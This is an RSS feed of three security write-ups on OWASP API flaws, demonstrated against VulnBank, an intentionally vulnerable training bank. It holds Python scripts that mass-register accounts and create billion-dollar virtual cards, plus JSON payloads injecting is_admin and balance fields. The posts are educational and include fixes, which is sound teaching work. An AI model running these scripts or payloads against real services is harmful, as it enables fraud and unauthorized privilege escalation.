<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muhammad Usman Faridi on Medium]]></title>
        <description><![CDATA[Stories by Muhammad Usman Faridi on Medium]]></description>
        <link>https://medium.com/@usman786faridi?source=rss-be4f74a9912e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hmHhT1vtWnxoUQCHvuPIXg.jpeg</url>
            <title>Stories by Muhammad Usman Faridi on Medium</title>
            <link>https://medium.com/@usman786faridi?source=rss-be4f74a9912e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 23:54:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@usman786faridi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[API6 in the Wild: Unrestricted Access To Sensitive Business Flows]]></title>
            <link>https://infosecwriteups.com/api6-in-the-wild-unrestricted-access-to-sensitive-business-flows-0d7e0bfe76c6?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d7e0bfe76c6</guid>
            <category><![CDATA[api]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[apisec-u-pakistan]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Thu, 24 Sep 2026 10:58:10 GMT</pubDate>
            <atom:updated>2026-09-24T10:58:10.209Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A recap of Saturday’s APIsec University Pakistan session. Where “just testing” turned into </em><strong><em>$18 billion </em></strong><em>of fake credit limits.</em></p><p>Every Saturday, a few of us at <a href="https://discord.gg/ae8n2w6B9"><strong>APIsec U Pakistan </strong></a>get together.</p><p>We break things. On purpose.</p><p>Not out of chaos. Out of curiosity.</p><p>This week’s topic was <strong>API6: Unrestricted Access to Sensitive Business Flows</strong>.</p><p>By the end of the session, our test bank account had more money in it than most countries print in a year.</p><p>Here’s how it went.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ITHj2Jubj23E8CzpxYzgPQ.png" /><figcaption>Google Meet</figcaption></figure><h3>The Setup: A bank that trusts you a little too much</h3><p>We were testing <strong>Vulnbank</strong>.</p><p>It’s a fake banking app, built on purpose to be broken. Perfect for practice.</p><p>On the surface, it looks like any normal signup page. Clean design. A big blue <strong>Create Account</strong> button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Uj0gtJ6CWCm3zCc496fJmw.png" /><figcaption>VulnBank.org</figcaption></figure><p>Nothing about that page looks dangerous.</p><p>That’s the whole point of API6.</p><p>The bug was never going to be a broken login. It was going to be something more boring. And more dangerous.</p><p><strong>Nobody ever asked how many times that button could be pressed.</strong></p><h3>What API6 actually means</h3><p>API 6 is the tricky one in the <strong>OWASP API Security Top 10</strong>.</p><p>Why? There’s no broken code to point at.</p><p>The API does <em>exactly</em> what it was built to do. Every single time.</p><p>The problem is simple: <strong>“exactly what it was built to do” </strong>was never supposed to happen a thousand times a second.</p><p>Here’s an easy way to picture it.</p><p>A bank teller hands out a <strong>$20 </strong>welcome gift to every new customer. Totally normal, right?</p><p>Now imagine the teller never check <strong>ID’s</strong>. Never limits how many times you walk back in. Never notices you are <strong>Customer no. 4,317,</strong> wearing the same jacket as customer no 1.</p><p>That’s API 6 (Unrestricted Access to Sensitive Business Flows.</p><p>The feature isn’t broken. <strong>The limit is missing.</strong></p><h3>Demo 1: Farming Free Money From Signup Bonuses</h3><p><strong>Vulnbank </strong>gives every new account a starting balance, an initial balance of <strong>$1000</strong>.</p><p>That’s normal. Lots of real apps do this as a welcome bonus.</p><p>So we asked one simple question: <strong>what stops someone from signing up 50 times in a row?</strong></p><p>Answer: nothing.</p><p>No CAPTCHA. No rate limit. No check on how fast the requests came in.</p><p>Here’s roughly what we ran live, in front of the whole room:</p><pre>import requests<br><br>BASE = &quot;https://vulnbank.org/register&quot;<br>total_farmed = 0<br>successes = 0<br>for i in range(50):<br>    payload = {<br>        &quot;username&quot;: f&quot;max{i}&quot;,<br>        &quot;password&quot;: &quot;hello123&quot;,<br>        &quot;balance&quot;: 20000<br>    }<br>    r = requests.post(BASE, json=payload)<br>    data = r.json()<br>    if r.status_code == 200 or data.get(&quot;status&quot;) == &quot;success&quot;:<br>        successes += 1<br>        bal = data.get(&quot;debug_data&quot;, {}).get(&quot;balance&quot;, payload[&quot;balance&quot;])<br>        total_farmed += bal<br>        print(f&quot;[{i}] created - balance: {bal}&quot;)<br>    else:<br>        print(f&quot;[{i}] failed - {data.get(&#39;message&#39;)}&quot;)<br>print(f&quot;\n{successes} accounts created | ${total_farmed} total farmed&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*PQd08R01ktmEgrkkBmf9DA.png" /><figcaption>API.py</figcaption></figure><p>What does this script actually do? In plain words:</p><p>It’s a <strong>loop</strong>. It pretends to be <strong>50 </strong>different people signing up, one after another.</p><p>Each fake person gets a slightly different username, so the <strong>“username already exists”</strong> check never gets in the way.</p><p>Every time a signup works, the script adds that account’s starting balance to a running total.</p><p>At the end, it prints one number: how much fake money now sits in accounts that don’t belong to any real person.</p><p>We ran it.</p><p>Fifty accounts. Fifty successes. Zero pushback from the server.</p><p><strong>One million dollars</strong>, created from nothing, in the time it takes to read this paragraph.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*bdNsrKDNJcQFez5oz7KvoQ.png" /><figcaption>One Million dollars</figcaption></figure><h3>A quick correction from the room</h3><p>One person flagged something during the demo. This endpoint had no cookie, no login required. They thought that was the vulnerability, a kind of session issue.</p><p>That was a good instinct. But not quite right.</p><p>Signup pages are <em>supposed</em> to work without a login. You can’t log in before you have an account.</p><p>The real issue was never <strong>“no cookie”.</strong></p><p>The real issue: nothing told the difference between 50 real people signing up, and 50 fake ones created by a script. Cookie or no cookie, it didn’t apply in this case…</p><p>That distinction matters. It changes what you’d actually go and fix.</p><h3>Demo 2: Turning $0 into Billion-Dollar Spending Power</h3><p>The second flow we tested was <strong>Virtual-Card </strong>creation.</p><p>This one was different, it needed a login. A valid bearer token.</p><p>We made one card manually first, just to see what the request looked like:</p><pre>POST /api/virtual-cards/create<br>{&quot;card_limit&quot;: &quot;1500000000&quot;, &quot;currency&quot;: &quot;USD&quot;, &quot;card_type&quot;: &quot;premium&quot;}</pre><p>The server didn’t blink.</p><p>It handed back a full <strong>card number</strong>, <strong>CVV</strong>, <strong>expiration date </strong>along with the <strong>$1,500,000,000 limit</strong>.</p><p>Why? Because it trusted whatever number we typed into <strong>card_limit</strong>. No cap. No check.</p><p>That’s one bug on its own.</p><p>But the API6 question was different: <strong>how many of these can one account make?</strong></p><pre>import requests<br><br>BASE = &quot;https://vulnbank.org/api/virtual-cards/create&quot;<br>HEADERS = {<br>    &quot;Authorization&quot;: &quot;Bearer &lt;your_token_here&gt;&quot;,<br>    &quot;Content-Type&quot;: &quot;application/json&quot;<br>}<br>total_limit = 0<br>for i in range(50):<br>    payload = {<br>        &quot;card_limit&quot;: &quot;1500000000&quot;,<br>        &quot;currency&quot;: &quot;USD&quot;,<br>        &quot;card_type&quot;: &quot;premium&quot;<br>    }<br>    r = requests.post(BASE, headers=HEADERS, json=payload)<br>    data = r.json()<br>    if data.get(&quot;status&quot;) == &quot;success&quot;:<br>        card = data[&quot;card_details&quot;]<br>        total_limit += card[&quot;limit&quot;]<br>        print(f&quot;[{i}] {card[&#39;card_number&#39;]} - limit ${card[&#39;limit&#39;]:,.0f}&quot;)<br>    else:<br>        print(f&quot;[{i}] failed - {data.get(&#39;message&#39;)}&quot;)<br>print(f&quot;\n{i+1} cards created | Total limit across cards: ${total_limit:,.0f}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AaIo-DNlgBTeDtXUSNiztw.png" /><figcaption>Virtual Cards script.py</figcaption></figure><p>What does this one do?</p><p>Same idea as the first script. Just aimed at a different target.</p><p>It logs in once, as one real account. Then it fires the same <strong>“create a card” </strong>request 50 times in a row (I changed it from 50 to 12 during the lecture), to save time.</p><p>Every time a card gets made, it adds that card’s limit to a running total.</p><p>This time, the account <em>was</em> logged in the whole time. That’s an important detail. It proves the login wall was never the problem.</p><p>We let it run.</p><p>12 premium cards. Each with a <strong>$1.5 billion limit</strong>. All under one account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*e4q4Mnxlxs5FLbeEmOE_pw.png" /><figcaption>12 Virtual cards created</figcaption></figure><p>Twelve cards. $1.5 billion each.</p><p>That’s <strong>$18,000,000,000</strong> in fake spending power. Made by one script. Under one account. In under a minute.</p><h3>Not everything gave in</h3><p>Worth being honest here.</p><p>Not every flow folded that easily.</p><p>We also re-tested an old trick: sending a <strong><em>negative</em> </strong>transfer amount to move money the wrong way.</p><p><strong>&quot;amount&quot;</strong>: <strong>&quot;-1016&quot;</strong></p><p>This time, Vulnbank pushed back. A clean error:</p><p><strong>400 Bad Request</strong>: <strong>&quot;Insufficient funds&quot;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*EiNfn2bSU_emJLFdkFKgeg.png" /><figcaption>Error on negative amount</figcaption></figure><p>Good lesson here.</p><p>Real apps are rarely broken everywhere. Some checks exist. Some don’t.</p><p>Part of the job is finding exactly where the line is. Not assuming every door is unlocked just because the first one was.</p><h3>Why this isn’t just a classroom thing</h3><p>We closed the session with two real examples. Same pattern, out in the real world.</p><ol><li><strong>Ticket bots.</strong> For years, scripts hit concert ticket sites faster than any human could click. They bought up tickets in seconds. Then resold them at high prices. The purchase system wasn’t <strong>“broken”. </strong>It just had no limit on speed or volume. It got so bad, the <strong>U.S</strong>. passed a <strong>law </strong>in <strong>2016 </strong>and called it<strong>: The BOTS Act, </strong>banning ticket bots forever.</li><li><strong>Loyalty program farming.</strong> Retail and food apps have been hit by scripts that create fake accounts. Just to grab one-time sign-up bonuses. Each account looked totally normal on its own. It was the <strong><em>volume</em> </strong>that turned a nice marketing feature into a money drain.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*0-7yRhF2mDogGorOm7M_gg.png" /></figure><p>Sounds familiar..?</p><h3>The Fix isn’t complicated…!</h3><p>It’s just often skipped.</p><ul><li><strong>Rate limit sensitive actions:</strong> Per IP, per account, per device. Not just one global limit.</li><li><strong>Add CAPTCHA or proof-of-work:</strong> Trigger it when things look suspicious, not on every single request.</li><li><strong>Put business rules in the code:</strong> not just in a document. <strong>“One loan per account” </strong>only works if the server actually checks it.</li><li><strong>Verify identity before handing out value:</strong> Email, phone, or ID checks before real money unlocks (Expand your verification process).</li><li><strong>Watch for speed, not just single requests:</strong> 20-30 accounts from one IP in ten seconds should raise a flag, long before it raises a balance.</li><li><strong>Never trust a number the client sends you:</strong> Balance, limit, amount. Always set and check on the server.</li></ul><p>None of these are exotic ideas. They’re just easy to skip when a team is focused on making signup feel fast and smooth.</p><h3>The Takeaway</h3><p><strong>API3: Broken Object Property Level Authorization </strong>asks you,</p><p><em>“Can I send a field I shouldn’t be able to?”</em></p><p>API6 asks something different:</p><p><em>“Can I do this normal thing too many times, in repetition?”</em></p><p>Both matter. Both showed up in the same two endpoints on Saturday.</p><p>And both are bugs a scanner will never catch. From the server’s side, nothing ever <strong>“failed”. </strong>It just kept saying yes.</p><p>That’s the strange lesson of API6.</p><p>Sometimes the vulnerability isn’t a mistake in the code.</p><p>It’s a question nobody thought to ask.</p><p><em>This session was run by </em><a href="https://www.linkedin.com/company/apisec-u-pakistan"><strong><em>APIsec University Pakistan</em></strong></a><em>, as part of our hands-on API security series. Want to get your hands dirty with us? Join the </em><a href="https://discord.gg/ae8n2w6B9"><strong><em>Discord</em></strong></a><strong><em> </em></strong><em>sessions, run most Saturdays.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d7e0bfe76c6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/api6-in-the-wild-unrestricted-access-to-sensitive-business-flows-0d7e0bfe76c6">API6 in the Wild: Unrestricted Access To Sensitive Business Flows</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Two Fields, Zero Checks: Exploiting Broken Object Property Level Authorization on VulnBank]]></title>
            <link>https://medium.com/@usman786faridi/two-fields-zero-checks-exploiting-broken-object-property-level-authorization-on-vulnbank-a1e2d5d901c6?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1e2d5d901c6</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[bopla]]></category>
            <category><![CDATA[apisec-university]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 15:18:49 GMT</pubDate>
            <atom:updated>2026-07-28T15:18:49.731Z</atom:updated>
            <content:encoded><![CDATA[<h3>A hands-on walkthrough of OWASP API3: 2023 — how a missing allowlist turns an anonymous signup into full admin access with an $18,000 balance</h3><p>Some vulnerabilities take a chain of clever steps to reach. This one took a single JSON field.</p><p>This is a walkthrough of <strong>Broken Object Property Level Authorization (BOPLA)</strong> #3 on the OWASP API Security Top 10, demonstrated against VulnBank, an intentionally vulnerable banking application built for security training. By the end of it, a completely anonymous request, sent with no login and no prior account, results in a fully privileged admin account holding eighteen times its intended starting balance.</p><h3>What Is BOPLA?</h3><p>BOPLA isn’t one bug; it’s a category that bundles two related failures together, both centered on the same idea: an API failing to control access at the level of individual <strong><em>properties</em> </strong>within an object, rather than the object as a whole.</p><p><strong>Excessive Data Exposure: </strong>the server returns more fields in a response than the client has any legitimate reason to see. Internal IDs, permission flags, debug output data that was never meant to leave the backend, sitting in plain JSON.</p><p><strong>Mass Assignment: </strong>the server accepts more fields in a request than it should, and blindly writes all of them to the underlying object. If an API expects <strong>username </strong>and <strong>password </strong>but doesn&#39;t restrict the request to only those fields, anything else a client chooses to add like: <strong>is_admin</strong>, <strong>balance</strong>, <strong>role </strong>gets written right alongside them.</p><p>Individually, either one is a problem. Together, as this walkthrough shows, they compound into full privilege escalation.</p><h3>Step One: Logging In, and Noticing Too Much Comes Back</h3><p>The first thing worth checking on any authentication flow is simple: does the response contain more than it should? A login endpoint’s only real job is to verify credentials and hand back a session. Here’s what VulnBank actually returned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nVDeyqThM02xMKbTK3IlCQ.png" /></figure><p>Buried in the response sits a <strong>debug_info </strong>object <strong>account_number</strong>, <strong>is_admin</strong>, an exact <strong>login_time</strong>, and an internal <strong>user_id</strong>,none of which the frontend needs to render a dashboard. This is the first half of BOPLA: the object being returned carries far more than the client-facing contract requires.</p><p>More importantly, this response did something else useful for testing: it told us the exact internal field name controlling admin status;<strong>is_admin</strong>. That single detail turns a vague hunch into a precise target.</p><h3>Step Two: A Baseline Registration</h3><p>Before tampering with anything, it’s worth capturing a clean, untouched registration request — this becomes the control to compare everything else against.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-GX_k86eRu88Yn4s_Q4jw.png" /></figure><p>A completely standard signup, just <strong>username </strong>and <strong>password </strong>comes back with <strong>is_admin: False </strong>and <strong>balance: 1000.0 </strong>in the response&#39;s debug data. That&#39;s the expected, intended state of a brand-new account. It also confirms the same excessive exposure problem exists here too: the response echoes back the raw request (including the plaintext password), the server&#39;s own User-Agent string, and an internal sequential <strong>user_id</strong>. None of this belongs in a registration response.</p><h3>Step Three: Does Authentication Even Matter Here?</h3><p>Before testing whether extra fields could be injected, it was worth checking whether a session was required at all for this endpoint to behave the way it does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uQucTosHru3DzfiFWyFamg.png" /></figure><p>The cookie was stripped entirely before sending this request. Registration completed exactly the same as before, meaning <strong>/register </strong>never required a prior session in the first place. This matters: whatever comes next doesn&#39;t depend on being logged in, doesn&#39;t depend on prior access, and doesn&#39;t depend on any special privilege. It only depends on what fields get typed into the request body.</p><h3>Step Four: Adding a Field That Was Never Offered</h3><p>With the internal field name known (<strong>is_admin</strong>) and no authentication barrier in the way, the actual test was straightforward: register normally, but add one extra field the UI never exposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t_tMmcoCNPFSFY3MWLiCoA.png" /></figure><pre>{<br>    &quot;username&quot;: &quot;Max4&quot;,<br>    &quot;password&quot;: &quot;M@ximum&quot;,<br>    &quot;is_admin&quot;: &quot;true&quot;<br>}</pre><p>The response confirms it landed exactly as sent; <strong>&quot;is_admin&quot;: true</strong>, listed directly inside <strong>fields_registered</strong>, meaning the backend didn&#39;t just receive that field, it <em>persisted</em> it to the new account. No form on the actual signup page ever presents an &quot;admin&quot; checkbox. This field only exists because the backend accepts whatever the client sends, with no allowlist restricting which properties a request is permitted to set.</p><h3>Step Five: Confirming the Access Is Real</h3><p>A field changing in a JSON response is one thing. Actual privileged access is another. Logging in as the newly created account confirmed the escalation was genuine, not cosmetic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_BQuGmBQ2CDpX4d9ER7g8g.png" /></figure><p>An <strong>Admin Panel</strong> entry now sits in the sidebar, a section that should only ever be reachable by legitimately provisioned administrators. This account had existed for seconds and never touched a real onboarding or approval process. The only thing separating it from a normal user was one string in a request body.</p><h3>Step Six: If One Field Works, What Else Does?</h3><p>Given that <strong>is_admin </strong>passed straight through with no validation, the natural next question was whether the same held true for other sensitive fields, specifically <strong>balance</strong>, which had shown up in the baseline response as a fixed default of <strong>1000.0</strong>.</p><pre>{<br>    &quot;username&quot;: &quot;Max5&quot;,<br>    &quot;password&quot;: &quot;M@ximum&quot;,<br>    &quot;is_admin&quot;: &quot;true&quot;,<br>    &quot;balance&quot;: &quot;18000&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*txrT88y2Lra9gtAgwqpZ8A.png" /></figure><p>The response leaves no ambiguity: <strong>&quot;balance&quot;: 18000.0</strong>, <strong>&quot;is_admin&quot;: True</strong>, both fields listed in <strong>fields_registered </strong>as accepted. This wasn&#39;t a second, separate vulnerability, it was the same missing allowlist, simply tested against a second field to confirm the scope of the problem. The backend isn&#39;t failing to protect one specific property; it isn&#39;t protecting <em>any</em> property at all.</p><h3>Step Seven: Verified From the Account Itself</h3><p>As with any finding worth presenting, the response body alone isn’t the end of the story, logging into the resulting account and confirming the change from inside the application closes the loop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J8vHPFjTiYqUIzIrFfZfIg.png" /></figure><p><strong>$18,000.00</strong>, against an account that started existing roughly a minute earlier with a single API call. No transfer, no loan, no legitimate transaction of any kind. Just a value typed directly into a registration request that the backend never questioned.</p><h3>Why This Isn’t “Just a Feature”</h3><p>It’s worth heading off the obvious objection directly: could this be an intentional admin-provisioning or promotional-balance mechanism, rather than a bug?</p><p>No, for the same reasons that hold in any mass assignment case:</p><ul><li>There’s no legitimate registration flow, UI element, or promotional code path that exposes <strong>is_admin </strong>or arbitrary <strong>balance </strong>values to a new signup</li><li>No approval step, verification, or review sits between “submit registration” and “become an administrator with $18,000”</li><li>The fields in question aren’t documented, discoverable through the UI, or ever rendered on the actual signup form, they were only reachable by directly editing a captured request</li></ul><p>A designed feature has guardrails. This has none, because the fields were never meant to be client-controllable in the first place.</p><h3>Root Cause</h3><p>Every result above traces back to one missing check, repeated across two different properties: the backend takes the entire incoming JSON object and writes it to the new user record without restricting which keys are allowed to be present.</p><pre># Vulnerable pattern<br>user = User(**request.json)<br>db.save(user)</pre><p>Whatever arrives in the request, expected or not, gets applied. There’s no allowlist, no schema restricting the shape of an acceptable registration payload, nothing stopping a client from defining its own privilege level.</p><h3>The Fix (Secure)</h3><pre># Secure pattern<br>allowed = [&#39;username&#39;, &#39;password&#39;]<br>data = {k: v for k, v in request.json.items() if k in allowed}<br>db.save(User(**data))</pre><ul><li><strong>Allowlist fields explicitly, per endpoint.</strong> Only bind the specific fields a given operation is supposed to accept, never the entire request body.</li><li><strong>Use separate schemas (DTOs) for input and output.</strong> A registration request DTO should have no is_admin or balance fields defined on it at all.</li><li><strong>Strip debug output before shipping to production.</strong> debug_info, debug_data, and raw request echoes have no place in a live response, they&#39;re development artifacts that leaked into production behavior here.</li><li><strong>Never assume the frontend is the boundary.</strong> The actual signup page never exposed these fields — that didn’t matter, because the backend was the real (and only) enforcement point, and it wasn’t enforcing anything.</li></ul><h3>Not a New Lesson — Just a Recurring One</h3><p>This exact failure pattern isn’t unique to training labs. In 2012, a nearly identical bug in <strong>GitHub’s SSH </strong>key upload form let a security researcher attach his own key to the Ruby on Rails organization’s account by adding an unexpected <strong>user_id </strong>field to a request — resulting in real push access to one of the most widely used open-source repositories in the world. The mechanism was the same: a backend willing to accept and apply any field it was handed, with nothing in place to say no.</p><p>Thirteen years and a completely different application later, the same missing guardrail produces the same category of outcome: one field, sent by an attacker who was never authenticated to begin with, turning into complete unauthorized control.</p><h3>Takeaway</h3><p>BOPLA doesn’t require sophisticated tooling or deep exploit chains. It requires noticing that a request only sends what a form shows you — and asking what happens if you send something else. In this case, the backend never checked. Two properties, <strong>is_admin </strong>and <strong>balance</strong>, were both fully controllable by anyone, at any time, with no session required.</p><p>Authorization has to be enforced at the level of every individual field an object exposes, not just at the level of “is this user logged in.” A backend that trusts its entire input is a backend with no real boundary at all.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1e2d5d901c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem]]></title>
            <link>https://infosecwriteups.com/i-funded-a-strangers-bank-card-with-my-own-money-and-that-s-exactly-the-problem-a3bfc069a8b9?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3bfc069a8b9</guid>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[bola]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[jwt-token]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Fri, 17 Jul 2026 21:00:51 GMT</pubDate>
            <atom:updated>2026-07-18T09:21:13.049Z</atom:updated>
            <content:encoded><![CDATA[<h3>A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBank</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTehjKwtISkTLR8KwRRrRw.png" /><figcaption>VulnBank</figcaption></figure><p>There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually <em>did</em>. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.</p><p>This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in <strong>VulnBank</strong>, an intentionally vulnerable banking application built for security training.</p><h3>What Is BOLA, Actually?</h3><p>Broken Object Level Authorization sits at <strong>#1 </strong>on the <strong>OWASP API Security Top 10 </strong>(API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.</p><p>The core idea in one sentence: <strong>the server correctly checks who you are, but never checks what you’re allowed to touch.</strong></p><p>Any API endpoint that takes an object identifier — a <strong>card_id</strong>, <strong>account_number</strong>, <strong>order_id </strong>— needs to answer two separate questions:</p><ol><li><strong>Authentication: </strong>is this a valid, logged-in user?</li><li><strong>Authorization: </strong>should <em>this </em><strong><em>specific user</em> </strong>be allowed to access <em>this specific object</em>?</li></ol><p>BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.</p><p>The vulnerable version:</p><pre>SELECT * FROM cards WHERE id = :card_id</pre><p>The fixed version:</p><pre>SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id</pre><p>That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.</p><p>So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.</p><h3>Setting the Stage: Two Users, Two Cards</h3><p>Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.</p><h3><strong>User 1 — Jhonny</strong></h3><ul><li>I created a virtual card with a <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*IzNdvQ1HNkbGSk9AEz70FQ.png" /><figcaption>Jhonny’s Virtual Card</figcaption></figure><ul><li>I then funded it with <strong>$80 </strong>from the main balance.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*yyZLbn89enTTeEBs4gSKow.png" /><figcaption>Funding the card</figcaption></figure><p>With the funding request captured in <strong>Burp Suite</strong>, I sent it to Repeater for closer inspection, this is the request whose <strong>card_id </strong>parameter would become the centerpiece of the whole test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKOsjOROq-GWkyoTOSyHNw.png" /><figcaption>Jhonny Card Request in Burp</figcaption></figure><h3><strong>User 2 — Alex</strong></h3><p>Same setup:</p><ul><li>A fresh virtual card of <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*A-bryCWIEKgcBWvJSyHgGQ.png" /><figcaption>Alex’s Virtual Card</figcaption></figure><ul><li>Funded with $100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*H-zuUIktIse3J_FkKY4iRg.png" /><figcaption>Funding Alex’s card</figcaption></figure><ul><li>And the same treatment — captured the request and sent it to Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhtrbarCUBXaggWB7u-YBw.png" /><figcaption>Alex’s Card Request in Burp</figcaption></figure><p>Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.</p><h3>Step One: Does the App Even Check Who You Are?</h3><p>Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkZ3P_vd-a31Bxve6I1kMw.png" /><figcaption>Token error (Authentication enabled)</figcaption></figure><p><strong>401 Unauthorized: &quot;Token is missing.&quot;</strong></p><p>Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check <strong><em>which</em> </strong>authenticated user is making the request, or just <strong><em>that</em> </strong>one is?</p><h3>Step Two: The Swap</h3><p>This is the actual test, and it’s almost anticlimactic in how simple it is.</p><p>I took <strong>Jhonny’s</strong> valid token and used it to fund <strong>Alex’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pM9M7X-q1bMfJng1TcsNqA.png" /><figcaption>Funding Alex’s card with Jhonny’s Token</figcaption></figure><p><strong>200 OK.</strong> The card funded successfully with Jhonny&#39;s session authorizing a change to Alex&#39;s card.</p><p>Then I reversed it, <strong>Alex’s</strong> token, aimed at <strong>Jhonny’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5Qqk7A4XKvrvCkqyXgRFQ.png" /><figcaption>Funding Jhonny’s card with Alex’s Token</figcaption></figure><p><strong>200 OK</strong> again. Same result, opposite direction.</p><p>Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever <strong>card_id </strong>showed up in the URL, against whichever authenticated user happened to be making the call.</p><h3>Why This Isn’t “Just a Feature”</h3><p>The first pushback any BOLA finding gets is: <strong><em>“Couldn’t this just be an intentional transfer feature?”</em></strong></p><p>It’s a fair question, and worth addressing directly.</p><p>The answer is <strong>NO</strong>, for a few concrete reasons:</p><ul><li>There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.</li><li>Neither Jhonny nor Alex received any notification or gave any consent.</li><li>The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.</li><li>Both requests used each user’s <em>own</em> main balance and <em>own</em> token throughout, nothing about the flow resembled a designed transfer mechanism.</li></ul><p>A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.</p><h3>The Fix</h3><p>The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:</p><ul><li>Every object-level query needs an explicit ownership check tied to the authenticated session: <strong>WHERE card_id = ? AND user_id = ?</strong></li><li>Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint</li><li>Make cross-account testing a standard part of QA and code review: test with <strong>two different authenticated accounts</strong> against each other’s objects, not just each account against its own.</li></ul><h3>The Takeaway</h3><p>BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.</p><p>In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.</p><p>Authentication tells a server <em>who</em> is asking. Authorization is the separate and often forgotten question of <strong><em>what they’re allowed to ask 